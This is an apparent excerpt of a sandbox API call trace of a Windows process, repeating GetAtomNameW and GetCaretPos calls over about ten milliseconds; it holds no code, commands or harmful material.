	[0045.419] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.420] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.420] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.420] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.420] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.420] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.420] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.420] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.420] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.420] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.420] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.420] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.420] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.420] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.421] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.421] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.421] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.421] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.421] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.421] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.421] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.421] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.421] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.421] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.421] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.421] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.421] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.421] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.421] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.421] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.421] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.421] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.421] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.421] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.421] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.421] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.421] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.421] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.421] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.422] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.422] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.422] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.422] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.422] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.422] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.422] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.422] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.422] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.422] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.422] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.422] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.422] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.422] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.422] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.422] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.422] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.422] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.422] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.422] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.422] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.422] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.423] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.423] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.423] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.423] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.423] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.423] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.423] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.423] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.423] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.423] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.423] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.423] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.423] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.423] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.423] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.423] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.423] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.423] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.423] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.423] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.423] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.423] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.423] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.423] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.423] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.423] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.423] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.424] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.424] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.424] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.424] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.424] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.424] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.424] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.424] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.424] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.424] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.424] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.424] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.424] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.424] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.424] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.424] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.424] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.424] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.424] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.424] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.424] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.424] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.424] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.424] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.424] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.424] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.424] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.424] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.425] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.425] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.425] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.425] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.425] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.425] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.425] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.425] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.425] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.425] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.425] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.425] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.425] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.425] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.425] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.425] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.425] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.425] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.425] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.425] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.425] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.425] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.425] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.425] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.425] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.425] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.425] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.425] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.425] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.426] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.426] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.426] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.426] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.426] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.426] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.426] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.426] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.426] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.426] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.426] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.426] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.426] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.426] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.426] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.426] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.426] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.426] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.426] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.426] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.426] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.426] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.426] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.427] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.427] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.427] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.427] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.427] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.427] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.427] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.427] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.427] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.427] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.427] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.427] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.427] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.427] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.427] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.427] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.427] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.427] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.427] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.427] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.427] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.427] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.427] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.427] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.427] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.427] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.427] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.427] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.428] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.428] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.428] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.428] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.428] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.428] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.428] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.428] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.428] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.428] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.428] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.428] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.428] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.428] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.428] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.428] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.428] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.428] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.428] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.428] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.428] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.428] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.428] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.428] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.428] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.428] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.428] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.428] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.429] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.429] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.429] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.429] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.429] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.429] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.429] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.429] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.429] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.429] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.429] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.429] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.429] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.429] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.429] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.429] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.429] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.429] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.429] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.429] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.429] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.429] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.429] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.429] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.429] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.429] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.429] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.429] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.429] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.430] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
